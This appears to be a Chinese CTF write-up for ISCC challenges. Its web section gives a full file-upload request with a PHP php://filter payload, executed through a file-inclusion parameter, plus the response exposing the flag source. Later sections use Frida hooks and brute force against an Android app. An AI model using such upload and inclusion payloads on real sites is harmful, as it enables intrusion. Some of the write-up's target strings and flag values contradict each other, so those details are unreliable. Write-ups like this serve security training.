Web

战胜卞相壹


其实感觉有点脑洞这道题,我们先了解一下卞相壹:

在搜索的同时开一个文件扫描,扫一下:

出题人不算严谨,Dockerfile和docker-compose.yml都一并打包并没有删除。
但是都没有什么信息,我们主要看robots.txt

这题脑洞的地方来了:

很好,花花肠子不少

我能说我是百度了XXX完胜卞相壹才知道2:0吗?


很明显,百度不管你搜前几页基本上没有什么xx战胜卞相壹什么的消息。目前我不清楚为什么要访问的是f12g.txt。

![

这里flag的0也要换成2:

1
2
3
4
import requests

url = "http://112.126.73.173:49100/f12g.txt"
print(requests.get(url).text.replace('0', '2'))

纸嫁衣6外传


查看Dockerfile文件

根据Dockerfile文件的内容可知,其启用了Apache rewrite模块,也就是说支持无.php后缀
并且配置了AllowOverride。

我们此时先看首页内容,其提示我们includes/这个目录下会有文件
于是:

1
dirsearch -u http://112.126.73.173:49102/includes/


提示回到最初的镜子前,使用Get提交一个锤子。

使用chuizi=xx,页面内容改变

一个文件包含,但是有点抽象

写文件包含内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /upload HTTP/1.1

Host: 112.126.73.173:49102

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK0a3AmPUU2iVg3Bw

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Cache-Control: max-age=0

Origin: http://112.126.73.173:49102

Referer: http://112.126.73.173:49102/upload

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Content-Length: 206



------WebKitFormBoundaryK0a3AmPUU2iVg3Bw

Content-Disposition: form-data; name="file"; filename="xixi.txt"

Content-Type: text/plain



<?php highlight_file("php://filter/convert.base64-encode/resource=/var/www/html/includes/flag.php");?>

------WebKitFormBoundaryK0a3AmPUU2iVg3Bw--

执行后获得回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /?chuizi=uploads/xixi.txt HTTP/1.1

Host: 112.126.73.173:49102

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
HTTP/1.1 200 OK

Date: Sat, 03 May 2025 07:58:29 GMT

Server: Apache/2.4.62 (Debian)

X-Powered-By: PHP/8.1.32

Vary: Accept-Encoding

Content-Type: text/html; charset=UTF-8

Content-Length: 4459



<code

  ><span style="color: #000000">

    <span style="color: #0000BB">&lt;?php <br />$ending&nbsp;</span

    ><span style="color: #007700">=&nbsp;</span

    ><span style="color: #DD0000"

      >"奚月遥传过来的神器相当有用!肖驰成功通过它逃了出来!二人相拥时,肖驰激动地对奚月遥说:SVNDQ3tXM2xjMG0zX3QwX3BsQHlfWmgxSjFAWTF9"</span

    ><span style="color: #007700">; <br /></span

    ><span style="color: #0000BB">?&gt; <br /></span>

    <br />&lt;!DOCTYPE&nbsp;html&gt; <br />&lt;html&nbsp;lang="zh-CN"&gt;

    <br />&lt;head&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;meta&nbsp;charset="UTF-8"&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;title&gt;镜花水月&lt;/title&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;style&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;body&nbsp;{

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;background-color:&nbsp;#f7f4f1;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-family:&nbsp;"宋体",&nbsp;serif;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#333;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text-align:&nbsp;center;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;padding:&nbsp;40px&nbsp;20px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;img&nbsp;{

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;max-width:&nbsp;80%;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;height:&nbsp;auto;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;margin-top:&nbsp;30px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;border:&nbsp;1px&nbsp;solid&nbsp;#ccc;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;box-shadow:&nbsp;0&nbsp;0&nbsp;15px&nbsp;rgba(0,&nbsp;0,&nbsp;0,&nbsp;0.3);

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.content&nbsp;{

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-size:&nbsp;18px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;line-height:&nbsp;1.8em;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;margin-top:&nbsp;30px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;h2&nbsp;{

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-size:&nbsp;24px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;margin-bottom:&nbsp;10px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.ending&nbsp;{

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;margin-top:&nbsp;40px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-weight:&nbsp;bold;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;font-size:&nbsp;18px;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color:&nbsp;#9a2e2e;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;/style&gt; <br />&lt;/head&gt;

    <br />&lt;body&gt;

    <br />

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;h2&gt;镜花水月……&lt;/h2&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;div&nbsp;class="content"&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;奚月遥觉得这里应该有什么才对,为什么会没有呢?&lt;/p&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;她忽然想到,她应该回到最初的镜子前,&lt;/p&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;p&gt;也许她该&nbsp;&lt;strong&gt;get&lt;/strong&gt;&nbsp;一把“锤子”,一击打碎它……&lt;/p&gt;

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;/div&gt;

    <br />

    <br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;img&nbsp;src="../src/whereIsFlag.jpg"&nbsp;alt="她想起了什么……"&gt;

    <br />

    <br />&lt;/body&gt; <br />&lt;/html&gt; <br

  /></span>

</code>

Misc

书法大师



图片属性值中有备注


文件尾附加

foremost分离

压缩包密码是L9k8JhGfDsA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from strokes import strokes
import base64

text = "生工 石色 太摔 少比 边乙 *****************"
pairs = text.split()

base = ""
for pair in pairs:
    # 整合两个16进制字符串并添加前缀 '0x'
    combined_hex = '0x' + hex(strokes(pair)[0])[2:] + hex(strokes(pair)[1])[2:]
    combined_str = bytes.fromhex(combined_hex[2:]).decode('utf-8')
    base += combined_str
# 将base字符串编码为字节类型,然后进行Base64解码
try:
    decoded_bytes = base64.b64decode(base.encode('utf-8'))
    decoded_text = decoded_bytes.decode('utf-8')
    print(decoded_text)
except Exception as e:
    print(f"解码过程中出现错误: {e}")

Reverse

我爱看小品


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.8 (tags/v3.10.8:aaaf517, Oct 11 2022, 16:50:30) [MSC v.1933 64 bit (AMD64)]
# Embedded file name: something.py

import mypy, yourpy


def something():
    print("  打工奇遇")
    print("宫室长悬陇水声")
    print("廷陵刻此侈宠光")
    print("玉池生肥咽不彻")
    print("液枯自断仙无分")
    print("酒醒玉山来映人")


def check():
    your_input = input()
    if your_input[None[:5]] == "ISCC{" and your_input[-1] == "}":
        print("Come along, you'll find the answer!")
    else:
        print("Flag is wrong!")


if __name__ == "__main__":
    mypy.myfun()
    something()
    print("Please enter flag:")
    check()

SP


下载附件,使用x64dbg动调

使用DIE查看,发现UPX壳子。

使用x64dbg直接步进到输入flag的位置

随便输入一点内容,提示错误

右下角返回值有内容

1
000000000079FE18  0000000000B46960  "ISCC{Y#9LpXt!q@2m}"

这就是FLAG了,加了壳子,但是UPX是压缩壳,内存没有保护。

Mobile

三进制战争


安卓逆向,我们使用JEB进行逆向分析。

等待JEB处理

我们此时先看MainActivity,右键选择MainActivity,点击反编译。

这里就是验证逻辑,我们注意mobile02的loadLibrary调用,也就是算法会在一个so库调用。
代码的主要逻辑如下:
输入 s:

  1. 要求 s.length()>13,且 s.startsWith(“ISCC{“),s.endsWith(“}”)
  2. 取 s5 = s.substring(5,11) (6 字符)要求 s5 == stringFromJNI(“6xY*08”) ←—— JNI1
  3. 取 s3 = s.substring(11, s.length()-1) (中间任意长度)
  4. 取 s2 = stringFromJN1() ←—— JNI0
  5. 计算 s4 = stringFromJNl(s2, s3) ←—— JNI2
    要求 s4 == “022202010210020220010121000111022220”
    stringFromJNI(String)(我们叫它 JNI1) 根据参数 "6xY\*08",在 native 里返回一个 6 字符串——这正是 flag 的第 6–11 位。

stringFromJN1()(JNI0) 返回一个固定的“密钥”字符串 s2。

stringFromJNl(String key, String body)(JNI2) 把 s2 当密钥、s3 当“密文”,输出一串数字(“022202…”),与 CHECK2 里写死的常量比对。

不可能单纯靠 Java 侧看到真实算法,因为关键在 native。
写一个frida脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// hook.js
Java.perform(function(){
  var Main = Java.use("com.example.mobile02.MainActivity");
  // 拦截 native 方法
  Main.stringFromJN1.implementation = function(){
    var k = this.stringFromJN1();
    console.log(">>> JNI0 key = " + k);
    return k;
  };
  Main.stringFromJNI.overload('java.lang.String').implementation = function(arg){
    var out = this.stringFromJNI(arg);
    console.log(">>> JNI1(" + arg + ") = " + out);
    return out;
  };
  Main.stringFromJNl.overload('java.lang.String','java.lang.String').implementation = function(k, body){
    var out = this.stringFromJNl(k, body);
    console.log(">>> JNI2 decrypt with key="+k+" body="+body+" → " + out);
    return out;
  };
});

AS创建一个带Root的虚拟机:

系统需要选择Q x86的Android10.0(Google APIs)

将apk安装到模拟器中
1
frida -U -f com.example.mobile02 -l 1.js


输入框随便输入一点ISCC{xxxxxxxxxxxxxx}

捕获到key(JNI2)和JNI1,%#e2re’RT
flag是ISCC{%#e2re’RT+S3}
我们看”022202010210020220010121000111022220”,这个内容是S3加密后的内容。
s3必须是6字符,为什么 s3 必须是 6 字符?
你用 body="YYYYY"(5 字符)得到了 30 位输出
目标是 36 位 ⇒ 每多一个 s3 字符,多 6 位输出 ⇒ s3 长度 应该是 6。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// brute.js
const TARGET = "012202000011011000000111001211021001";
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_+-=";
let key;

// 先 hook 拿到 key
Java.perform(function(){
const Main = Java.use("com.example.mobile02.MainActivity");
// 拦截 stringFromJN1 拿到 key
Main.stringFromJN1.implementation = function(){
key = this.stringFromJN1();
console.log("[*] key =", key);
return key;
};
// 启动一次,让 stringFromJN1 执行,拿到 key
Java.scheduleOnMainThread(()=>{
const activity = Java.use("com.example.mobile02.MainActivity").$new();
activity.stringFromJN1();
startBrute();
});
});

function startBrute(){
if(!key){
console.error("no key yet");
return;
}
const Main = Java.use("com.example.mobile02.MainActivity");
const inst = Main.$new();

// 生成所有长度6组合(改 charset/长度可控)
let arr = CHARSET.split("");
let total = Math.pow(arr.length, 6), count=0;
console.log(`[∗] brute total = ${total}`);

// 6 层循环
for(let i0=0;i0<arr.length;i0++){
for(let i1=0;i1<arr.length;i1++){
for(let i2=0;i2<arr.length;i2++){
for(let i3=0;i3<arr.length;i3++){
for(let i4=0;i4<arr.length;i4++){
for(let i5=0;i5<arr.length;i5++){
let s3 = arr[i0]+arr[i1]+arr[i2]+arr[i3]+arr[i4]+arr[i5];
let out = inst.stringFromJNl(key, s3);
if(out === TARGET){
console.log("✅ found s3 =", s3);
console.log("✅ FLAG = ISCC{%s%s}", "%CT'bb", s3);
// 退出
return;
}
if(++count % 1000000 === 0){
console.log("… tried", count);
}
}
}
}
}
}
}
console.log("❌ not found");
}

暴力破解后6位

得到最终flag。
1
ISCC{%#e2re'RTS4t(5U}